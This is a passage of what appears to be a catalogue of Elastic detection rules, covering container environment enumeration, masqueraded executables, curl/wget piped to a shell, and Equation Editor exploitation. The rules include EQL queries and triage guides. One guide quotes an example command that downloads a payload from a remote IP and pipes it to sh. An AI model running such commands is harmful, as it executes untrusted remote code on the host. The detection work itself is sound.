| field:"data_stream.dataset" kind:eq value:"azure.signinlogs" |
event.action | eq |
| field:"EventType" kind:eq value:"Sign-in activity" |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
Environment Variable Enumeration Detected via Defend for Containers
#This rule detects the execution of the "env" or "printenv" commands inside a container. The "env" command is used to display all the environment variables for the current shell, and the "printenv" command is used to print the values of environment variables. These commands are used to enumerate the environment variables of the container, which can be used by an adversary to gain information about the container and the services running inside it.
Known False Positives
- There is a potential for false positives if the "env" or "printenv" commands are used for legitimate purposes, such as debugging or troubleshooting. It is important to investigate any alerts generated by this rule to determine if they are indicative of malicious activity or part of legitimate container activity.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Discovery |
Rule Body
[metadata]
creation_date = "2026/01/21"
integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/07/29"
[rule]
author = ["Elastic"]
description = """
This rule detects the execution of the "env" or "printenv" commands inside a container. The "env" command is used
to display all the environment variables for the current shell, and the "printenv" command is used to print the
values of environment variables. These commands are used to enumerate the environment variables of the container,
which can be used by an adversary to gain information about the container and the services running inside it.
"""
false_positives = [
"""
There is a potential for false positives if the "env" or "printenv" commands are used for legitimate purposes,
such as debugging or troubleshooting. It is important to investigate any alerts generated by this rule to determine
if they are indicative of malicious activity or part of legitimate container activity.
""",
]
from = "now-6m"
index = ["logs-cloud_defend.process*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "Environment Variable Enumeration Detected via Defend for Containers"
note = """ ## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Environment Variable Enumeration Detected via Defend for Containers
This rule flags execution of env or printenv inside a Linux container, a common discovery step to expose environment variables that frequently store credentials, tokens, and service configuration. A typical pattern: after gaining shell access to a pod, the attacker lists variables to harvest cloud keys, Kubernetes service account tokens, database URLs, and internal endpoints, enabling authenticated API calls, lateral movement within the cluster, or exfiltration via trusted services.
### Possible investigation steps
- Correlate with Kubernetes audit logs (exec/attach or debug) to identify the initiator identity, source IP, and command, and confirm whether the session was expected.
- Review the pod/container context (namespace, deployment, image digest/tag, node, and service account) and compare against baselines to catch unusual targets or ephemeral/privileged debug containers.
- Retrieve the enumerated variables to spot high-risk secrets such as cloud credentials, database passwords, or tokens, and immediately rotate/disable any discovered keys while reviewing provider audit logs for post-alert use.
- Trace subsequent activity within the container after the event for credential usage or exfiltration, including access to 169.254.169.254/metadata, calls to Kubernetes/cloud APIs, outbound network connections, or tooling like curl, wget, base64, and grep.
- Pivot to related signals on the same pod or node around the timestamp (new shells, service account token file reads, package installs, or suspicious downloads) to determine if this is part of a broader compromise.
### False positive analysis
- An operator opens an interactive shell in a container during routine troubleshooting and runs env or printenv to verify configuration, service endpoints, feature flags, or propagated secrets.
- Interactive shell initialization or entrypoint scripts in certain base images automatically invoke env or printenv upon TTY login to display or log variables, producing this event in benign sessions.
### Response and remediation
- Quarantine the affected pod where env/printenv was run by deleting the pod to drop the interactive session, applying a deny-all egress NetworkPolicy targeting its labels, and temporarily blocking kubectl exec/attach to that workload.
- Immediately rotate any secrets exposed in that container’s environment (cloud access keys, database passwords, API tokens, Kubernetes service account token), revoke active sessions at providers, and invalidate cached credentials on dependent services.
- Redeploy the application from a verified image digest with a fresh service account and newly issued secrets, and remove debug images or shell entrypoints that enabled interactive access.
- Escalate to incident response if env output contained credentials or the pod’s IP contacted 169.254.169.254, cloud/Kubernetes APIs, or external endpoints after the enumeration, indicating possible secret use or exfiltration.
- Replace environment-based secret injection with a secrets manager or projected volumes, set automountServiceAccountToken to false where not required, right-size RBAC for the workload, and block egress to the metadata service and the internet.
- Enforce preventive controls by disabling kubectl exec/attach for production (break-glass only with approval), enabling admission policies to block images with shells or package managers, and adding runtime rules to alert on interactive env/printenv followed by curl/wget/base64 or token file reads.
"""
risk_score = 21
rule_id = "f66a6869-d4c7-4d20-ab13-beefd03b63b4"
severity = "low"
tags = [
"Data Source: Elastic Defend for Containers",
"Domain: Container",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Discovery",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and (
process.name in ("env", "printenv") or
(
/* Account for tools that execute utilities as a subprocess, in this case the target utility name will appear as a process arg */
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox") and
process.args in (
"env", "/bin/env", "/usr/bin/env", "/usr/local/bin/env",
"printenv", "/bin/printenv", "/usr/bin/printenv", "/usr/local/bin/printenv"
) and
/* default exclusion list to not FP on default multi-process commands */
not process.args in (
"which", "/bin/which", "/usr/bin/which", "/usr/local/bin/which",
"man", "/bin/man", "/usr/bin/man", "/usr/local/bin/man",
"chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod",
"chown", "/bin/chown", "/usr/bin/chown", "/usr/local/bin/chown"
)
)
) and
container.id like "*"
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1082"
name = "System Information Discovery"
reference = "https://attack.mitre.org/techniques/T1082/"
[[rule.threat.technique]]
id = "T1613"
name = "Container and Resource Discovery"
reference = "https://attack.mitre.org/techniques/T1613/"
[rule.threat.tactic]
id = "TA0007"
name = "Discovery"
reference = "https://attack.mitre.org/tactics/TA0007/"
Stages and Predicates
Stage 1: process
process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and (
process.name in ("env", "printenv") or
(
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox") and
process.args in (
"env", "/bin/env", "/usr/bin/env", "/usr/local/bin/env",
"printenv", "/bin/printenv", "/usr/bin/printenv", "/usr/local/bin/printenv"
) and
not process.args in (
"which", "/bin/which", "/usr/bin/which", "/usr/local/bin/which",
"man", "/bin/man", "/usr/bin/man", "/usr/local/bin/man",
"chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod",
"chown", "/bin/chown", "/usr/bin/chown", "/usr/local/bin/chown"
)
)
) and
container.id like "*"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
container.id | wildcard |
| field:"container.id" kind:wildcard value:"*" |
event.action | eq |
| field:"EventType" kind:eq value:"exec" |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | in |
| field:"process.args" kind:in |
process.name | in |
| field:"process_basename" kind:in |
Executable File with Unusual Extension
#Identifies the creation or modification of an executable file with an unexpected file extension. Attackers may attempt to evade detection by masquerading files using the file extension values used by image, audio, or document file types.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Rule Body
[metadata]
creation_date = "2023/09/25"
integration = ["endpoint"]
maturity = "production"
updated_date = "2024/05/21"
[rule]
author = ["Elastic"]
building_block_type = "default"
description = """
Identifies the creation or modification of an executable file with an unexpected file extension. Attackers may attempt
to evade detection by masquerading files using the file extension values used by image, audio, or document file types.
"""
from = "now-119m"
index = ["logs-endpoint.events.file-*"]
interval = "60m"
language = "eql"
license = "Elastic License v2"
name = "Executable File with Unusual Extension"
risk_score = 21
rule_id = "ecd4857b-5bac-455e-a7c9-a88b66e56a9e"
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Rule Type: BBR",
"Data Source: Elastic Defend",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
file where host.os.type == "windows" and event.action != "deletion" and
/* MZ header or its common base64 equivalent TVqQ */
file.Ext.header_bytes : ("4d5a*", "54567151*") and
(
/* common image file extensions */
file.extension : ("jpg", "jpeg", "emf", "tiff", "gif", "png", "bmp", "fpx", "eps", "svg", "inf") or
/* common audio and video file extensions */
file.extension : ("mp3", "wav", "avi", "mpeg", "flv", "wma", "wmv", "mov", "mp4", "3gp") or
/* common document file extensions */
file.extension : ("txt", "pdf", "doc", "docx", "rtf", "ppt", "pptx", "xls", "xlsx", "hwp", "html")
) and
not process.pid == 4 and
not process.executable : "?:\\Program Files (x86)\\Trend Micro\\Client Server Security Agent\\Ntrtscan.exe"
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1036"
name = "Masquerading"
reference = "https://attack.mitre.org/techniques/T1036/"
[[rule.threat.technique.subtechnique]]
id = "T1036.008"
name = "Masquerade File Type"
reference = "https://attack.mitre.org/techniques/T1036/008/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
Stages and Predicates
Stage 1: file
file where host.os.type == "windows" and event.action != "deletion" and
file.Ext.header_bytes : ("4d5a*", "54567151*") and
(
file.extension : ("jpg", "jpeg", "emf", "tiff", "gif", "png", "bmp", "fpx", "eps", "svg", "inf") or
file.extension : ("mp3", "wav", "avi", "mpeg", "flv", "wma", "wmv", "mov", "mp4", "3gp") or
file.extension : ("txt", "pdf", "doc", "docx", "rtf", "ppt", "pptx", "xls", "xlsx", "hwp", "html")
) and
not process.pid == 4 and
not process.executable : "?:\\Program Files (x86)\\Trend Micro\\Client Server Security Agent\\Ntrtscan.exe"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | ne |
| field:"EventType" kind:ne value:"deletion" |
file.Ext.header_bytes | wildcard |
| field:"file.Ext.header_bytes" kind:wildcard |
file.extension | wildcard |
| field:"file.extension" kind:wildcard |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.executable | eq | ?:\Program Files (x86)\Trend Micro\Client Server Security Agent\Ntrtscan.exe | excludes:process.executable field:"process.executable" value:"?:\Program Files (x86)\Trend Micro\Client Server Security Agent\Ntrtscan.exe" |
process.pid | eq | 4 | excludes:process.pid field:"process.pid" value:"4" |
Execution from a Remote Working Directory
#Identifies the execution of a Micorosft signed binary from a remote working directory followed by spawning a file hosted on a remote share. This may indicate the successful execution of a remote file via malicious files such as shortcuts.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution | |
| Stealth |
Rule Body
[rule]
description = """
Identifies the execution of a Micorosft signed binary from a remote working directory followed by spawning a file hosted
on a remote share. This may indicate the successful execution of a remote file via malicious files such as shortcuts.
"""
id = "fc2debc9-b8ad-45e3-b95a-b18ada0350b0"
license = "Elastic License v2"
name = "Execution from a Remote Working Directory"
os_list = ["windows"]
reference = [
"https://research.checkpoint.com/2025/stealth-falcon-zero-day/",
"https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053",
]
version = "1.0.3"
query = '''
sequence with maxspan=1m
[process where event.action == "start" and process.parent.name : ("explorer.exe", "7zFM.exe", "WinRAR.exe", "Bandizip.exe", "7zG.exe") and
process.working_directory : "\\\\*" and process.code_signature.subject_name in ("Microsoft Windows", "Microsoft Corporation") and
not process.name : ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "excel.exe", "outlook.exe", "winword.exe", "devenv.exe")] by process.entity_id
[process where event.action == "start" and process.executable : "\\Device\\Mup*"] by process.parent.entity_id
'''
min_endpoint_version = "8.10.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1566"
name = "Phishing"
reference = "https://attack.mitre.org/techniques/T1566/"
[[threat.technique.subtechnique]]
id = "T1566.001"
name = "Spearphishing Attachment"
reference = "https://attack.mitre.org/techniques/T1566/001/"
[threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1203"
name = "Exploitation for Client Execution"
reference = "https://attack.mitre.org/techniques/T1203/"
[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1218"
name = "System Binary Proxy Execution"
reference = "https://attack.mitre.org/techniques/T1218/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "8.10.0"
Stages and Predicates
Ordered sequence: each step below must occur in order within 1m, correlated by process.entity_id, process.parent.entity_id.
Stage 1: process
[process where event.action == "start" and process.parent.name : ("explorer.exe", "7zFM.exe", "WinRAR.exe", "Bandizip.exe", "7zG.exe") and
process.working_directory : "\\\\*" and process.code_signature.subject_name in ("Microsoft Windows", "Microsoft Corporation") and
not process.name : ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "excel.exe", "outlook.exe", "winword.exe", "devenv.exe")] by process.entity_id
Stage 2: process
[process where event.action == "start" and process.executable : "\\Device\\Mup*"] by process.parent.entity_id
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"start" |
process.code_signature.subject_name | in |
| field:"Signature" kind:in |
process.executable | wildcard |
| field:"Image" kind:wildcard value:"\Device\Mup*" |
process.parent.name | wildcard |
| field:"parent_process_basename" kind:wildcard |
process.working_directory | wildcard |
| field:"CurrentDirectory" kind:wildcard value:"\\*" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.name | eq | cmd.exe, powershell.exe, wscript.exe, cscript.exe, excel.exe, outlook.exe, winword.exe, devenv.exe | excludes:process.name |
File Downloaded by Curl/Wget and Piped to Interpreter
#This rule detects when a file is downloaded by curl or wget, and piped to an interpreter. Attackers may use this technique to download and execute payloads for various malicious purposes, such as establishing persistence or exfiltrating data.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Command & Control |
Rule Body
[metadata]
creation_date = "2026/08/19"
integration = ["endpoint"]
maturity = "production"
updated_date = "2026/08/31"
[rule]
author = ["Elastic"]
description = """
This rule detects when a file is downloaded by curl or wget, and piped to an interpreter. Attackers may use this
technique to download and execute payloads for various malicious purposes, such as establishing persistence or
exfiltrating data.
"""
from = "now-9m"
index = ["logs-endpoint.events.process*"]
language = "eql"
license = "Elastic License v2"
name = "File Downloaded by Curl/Wget and Piped to Interpreter"
note = """ ## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating File Downloaded by Curl/Wget and Piped to Interpreter
This rule identifies Linux activity where curl or wget retrieves content from a remote path and sends it directly to a shell or scripting interpreter, enabling code execution without first saving a conventional file. An attacker may run `curl http://203.0.113.10/payload | sh` to execute a staged payload and rapidly establish persistence or launch data theft.
### Possible investigation steps
- Reconstruct the complete process ancestry and descendants to identify the initiating user, access vector, executed commands, and any follow-on payloads.
- Extract the remote URL, resolve redirects, assess domain and IP reputation, and safely retrieve the content for hashing, static analysis, and sandbox execution.
- Correlate DNS, proxy, firewall, and endpoint network telemetry to confirm the connection, transferred bytes, related destinations, and other affected hosts.
- Examine the host for persistence, dropped files, credential access, privilege escalation, account changes, or suspicious outbound connections occurring after the alert.
- Confirm whether the activity was authorized by the user or system owner, and isolate the host, block indicators, and revoke exposed credentials if malicious intent is established.
### False positive analysis
- An administrator may use curl or wget to stream an approved installation or configuration script into a shell during deployment; verify the initiating account, change record, remote destination, and retrieved script contents.
- An automated Linux provisioning or maintenance task may fetch and execute a trusted script through an interpreter; confirm the process ancestry, expected schedule, command line, destination ownership, and consistency across authorized hosts.
### Response and remediation
- Isolate the affected Linux host from the network while preserving volatile evidence, running processes, shell history, downloaded content, and relevant system logs.
- Block the malicious URL, domain, IP address, and payload hashes across DNS, proxy, firewall, endpoint, and email controls, and identify other hosts that contacted the same infrastructure.
- Terminate malicious processes and remove associated persistence from cron jobs, systemd units, shell profiles, startup scripts, SSH authorized keys, modified accounts, and files in locations such as `/tmp`, `/var/tmp`, and `/dev/shm`.
- Escalate immediately to incident response if privileged execution, credential theft, lateral movement, data exfiltration, or the same indicators on multiple hosts are identified, and rotate affected passwords, keys, tokens, and secrets.
- Reimage the system or restore it from a verified known-good image, validate package and configuration integrity, apply security updates, and monitor closely for renewed connections or execution.
- Prevent recurrence by restricting outbound access, allowlisting approved download sources, limiting curl and wget use for service accounts, and alerting on streamed interpreter execution and executables launched from temporary or memory-backed paths.
"""
risk_score = 47
rule_id = "3ebdc01e-7788-4845-8e7a-c8a671ad46ea"
setup = """## Setup
This rule requires data coming in from Elastic Defend.
### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
"""
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Execution",
"Tactic: Command and Control",
"Tactic: Defense Evasion",
"Data Source: Elastic Defend",
"Resources: Investigation Guide",
]
type = "eql"
query = '''
sequence by host.id, process.parent.entity_id, process.working_directory with maxspan=1s
[process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name in ("curl", "wget") and
(
/* IP address and path */
process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}(:[0-9]{1,5})?\\/[^ ]+.*" or
/* URL and path */
process.command_line regex ".*[A-Za-z0-9][A-Za-z0-9\\-]*(\\.[A-Za-z0-9][A-Za-z0-9\\-]*)+(:[0-9]{1,5})?\\/[^ ]+.*"
) and
process.args_count <= 3 and (
process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox", "node", "deno", "ash", "mksh", "pwsh") or
process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*") or
process.parent.executable like (
"/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*",
"/proc/*", "/var/mail/*", "/var/www/*", "/dev/fd/*", "?memfd:*", "memfd:*"
)
) and
not (
process.args in ("-h", "--help", "-V", "--version", "--output", "-O") or
process.args like ("--output*", "-o*", "--remote-name*") or
process.command_line like ("*127.0.0.1*", "*localhost*", "*artifacts.elastic.co*", "*ela.st*", "*elastic.co*")
)]
[process where host.os.type == "linux" and event.type == "end" and event.action == "end" and
process.name like (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
"python*", "perl*", "ruby*", "lua*", "php*", "node"
) and process.args_count == 1 and
process.args like (
"-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish", "-ash", "-mksh", "-pwsh",
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "ash", "mksh", "pwsh",
"/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh",
"/bin/zsh", "/bin/ksh", "/bin/fish",
"/bin/csh", "/bin/ash", "/bin/mksh", "/bin/pwsh",
"/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
"/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
"/usr/bin/ash", "/usr/bin/mksh", "/usr/bin/pwsh",
"/usr/local/bin/bash", "/usr/local/bin/dash", "/usr/local/bin/sh", "/usr/local/bin/tcsh",
"/usr/local/bin/csh", "/usr/local/bin/zsh", "/usr/local/bin/ksh", "/usr/local/bin/fish",
"/usr/local/bin/ash", "/usr/local/bin/mksh", "/usr/local/bin/pwsh",
"python*", "/bin/python*", "/usr/bin/python*", "/usr/local/bin/python*",
"perl*", "/bin/perl*", "/usr/bin/perl*", "/usr/local/bin/perl*",
"ruby*", "/bin/ruby*", "/usr/bin/ruby*", "/usr/local/bin/ruby*",
"lua*", "/bin/lua*", "/usr/bin/lua*", "/usr/local/bin/lua*",
"php*", "/bin/php*", "/usr/bin/php*", "/usr/local/bin/php*",
"node", "/bin/node", "/usr/bin/node", "/usr/local/bin/node",
"/dev/fd/*", "?memfd:*", "memfd:*"
)
]
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
name = "Execution"
id = "TA0002"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
name = "Command and Control"
id = "TA0011"
reference = "https://attack.mitre.org/tactics/TA0011/"
[[rule.threat.technique]]
name = "Application Layer Protocol"
id = "T1071"
reference = "https://attack.mitre.org/techniques/T1071/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
name = "Defense Evasion"
id = "TA0005"
reference = "https://attack.mitre.org/tactics/TA0005/"
Stages and Predicates
Ordered sequence: each step below must occur in order within 1s, correlated by host.id, process.parent.entity_id, process.working_directory.
Stage 1: process
[process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name in ("curl", "wget") and
(
process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}(:[0-9]{1,5})?\\/[^ ]+.*" or
process.command_line regex ".*[A-Za-z0-9][A-Za-z0-9\\-]*(\\.[A-Za-z0-9][A-Za-z0-9\\-]*)+(:[0-9]{1,5})?\\/[^ ]+.*"
) and
process.args_count <= 3 and (
process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox", "node", "deno", "ash", "mksh", "pwsh") or
process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*") or
process.parent.executable like (
"/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*",
"/proc/*", "/var/mail/*", "/var/www/*", "/dev/fd/*", "?memfd:*", "memfd:*"
)
) and
not (
process.args in ("-h", "--help", "-V", "--version", "--output", "-O") or
process.args like ("--output*", "-o*", "--remote-name*") or
process.command_line like ("*127.0.0.1*", "*localhost*", "*artifacts.elastic.co*", "*ela.st*", "*elastic.co*")
)]
Stage 2: process
[process where host.os.type == "linux" and event.type == "end" and event.action == "end" and
process.name like (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
"python*", "perl*", "ruby*", "lua*", "php*", "node"
) and process.args_count == 1 and
process.args like (
"-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish", "-ash", "-mksh", "-pwsh",
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "ash", "mksh", "pwsh",
"/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh",
"/bin/zsh", "/bin/ksh", "/bin/fish",
"/bin/csh", "/bin/ash", "/bin/mksh", "/bin/pwsh",
"/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
"/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
"/usr/bin/ash", "/usr/bin/mksh", "/usr/bin/pwsh",
"/usr/local/bin/bash", "/usr/local/bin/dash", "/usr/local/bin/sh", "/usr/local/bin/tcsh",
"/usr/local/bin/csh", "/usr/local/bin/zsh", "/usr/local/bin/ksh", "/usr/local/bin/fish",
"/usr/local/bin/ash", "/usr/local/bin/mksh", "/usr/local/bin/pwsh",
"python*", "/bin/python*", "/usr/bin/python*", "/usr/local/bin/python*",
"perl*", "/bin/perl*", "/usr/bin/perl*", "/usr/local/bin/perl*",
"ruby*", "/bin/ruby*", "/usr/bin/ruby*", "/usr/local/bin/ruby*",
"lua*", "/bin/lua*", "/usr/bin/lua*", "/usr/local/bin/lua*",
"php*", "/bin/php*", "/usr/bin/php*", "/usr/local/bin/php*",
"node", "/bin/node", "/usr/bin/node", "/usr/local/bin/node",
"/dev/fd/*", "?memfd:*", "memfd:*"
)
]
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq |
event.type | eq |
| field:"event.type" kind:eq |
process.args | wildcard |
| field:"process.args" kind:wildcard |
process.args_count | eq |
| field:"process.args_count" kind:eq value:"1" |
process.args_count | le |
| field:"process.args_count" kind:le value:"3" |
process.command_line | regex_match |
| field:"CommandLine" kind:regex_match |
process.name | in |
| field:"process_basename" kind:in |
process.name | wildcard |
| field:"process_basename" kind:wildcard |
process.parent.executable | wildcard |
| field:"ParentImage" kind:wildcard |
process.parent.name | in |
| field:"parent_process_basename" kind:in |
process.parent.name | wildcard |
| field:"parent_process_basename" kind:wildcard |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.args | in | --help, --output, --version, -O, -V, -h | excludes:process.args |
process.args | starts_with | --output, -o, --remote-name | excludes:process.args field:"process.args" value:"--output" field:"process.args" value:"-o" field:"process.args" value:"--remote-name" |
process.command_line | match | 127.0.0.1, localhost, artifacts.elastic.co, ela.st, elastic.co | excludes:process.command_line |
Microsoft Equation Editor Child Process
#Identifies suspicious child processes of the Microsoft Equation Editor process, which is frequently targeted by attackers using weaponized Microsoft Office documents. These child processes are often launched during exploitation of Office applications via known vulnerabilities CVE-2017-1182 or CVE-2018-0798.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution |
Rule Body
[rule]
description = """
Identifies suspicious child processes of the Microsoft Equation Editor process, which is frequently targeted by
attackers using weaponized Microsoft Office documents. These child processes are often launched during exploitation of
Office applications via known vulnerabilities CVE-2017-1182 or CVE-2018-0798.
"""
id = "60eb5960-b26e-494a-8cf2-35ab5939f6c1"
license = "Elastic License v2"
name = "Microsoft Equation Editor Child Process"
os_list = ["windows"]
reference = [
"https://www.anomali.com/blog/multiple-chinese-threat-groups-exploiting-cve-2018-0798-equation-editor-vulnerability-since-late-2018",
"https://nvd.nist.gov/vuln/detail/CVE-2017-11882",
"https://nvd.nist.gov/vuln/detail/CVE-2018-0798",
]
version = "1.0.31"
query = '''
process where event.action == "start" and process.parent.name : "EQNEDT32.EXE" and
not process.executable : ("?:\\Windows\\System32\\WerFault.exe", "?:\\Windows\\SysWOW64\\WerFault.exe")
'''
min_endpoint_version = "7.15.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1566"
name = "Phishing"
reference = "https://attack.mitre.org/techniques/T1566/"
[[threat.technique.subtechnique]]
id = "T1566.001"
name = "Spearphishing Attachment"
reference = "https://attack.mitre.org/techniques/T1566/001/"
[threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1203"
name = "Exploitation for Client Execution"
reference = "https://attack.mitre.org/techniques/T1203/"
[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[internal]
min_endpoint_version = "7.15.0"
Stages and Predicates
Stage 1: process
process where event.action == "start" and process.parent.name : "EQNEDT32.EXE" and
not process.executable : ("?:\\Windows\\System32\\WerFault.exe", "?:\\Windows\\SysWOW64\\WerFault.exe")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"start" |
process.parent.name | wildcard |
| field:"parent_process_basename" kind:wildcard value:"EQNEDT32.EXE" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.executable | eq | ?:\Windows\System32\WerFault.exe, ?:\Windows\SysWOW64\WerFault.exe | excludes:process.executable field:"process.executable" value:"?:\Windows\System32\WerFault.exe" field:"process.executable" value:"?:\Windows\SysWOW64\WerFault.exe" |
MSR Write Access Enabled
#This rule detects the enabling of write access to the Model Specific Registers (MSR) through the modprobe command. The MSR provides a mechanism for the operating system to interact with the processor's hardware. Enabling write access to the MSR may allow an attacker to modify the processor's configuration. This activity is seen by adversaries as a way to increase mining performance or to bypass security mechanisms.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Impact |
Rule Body
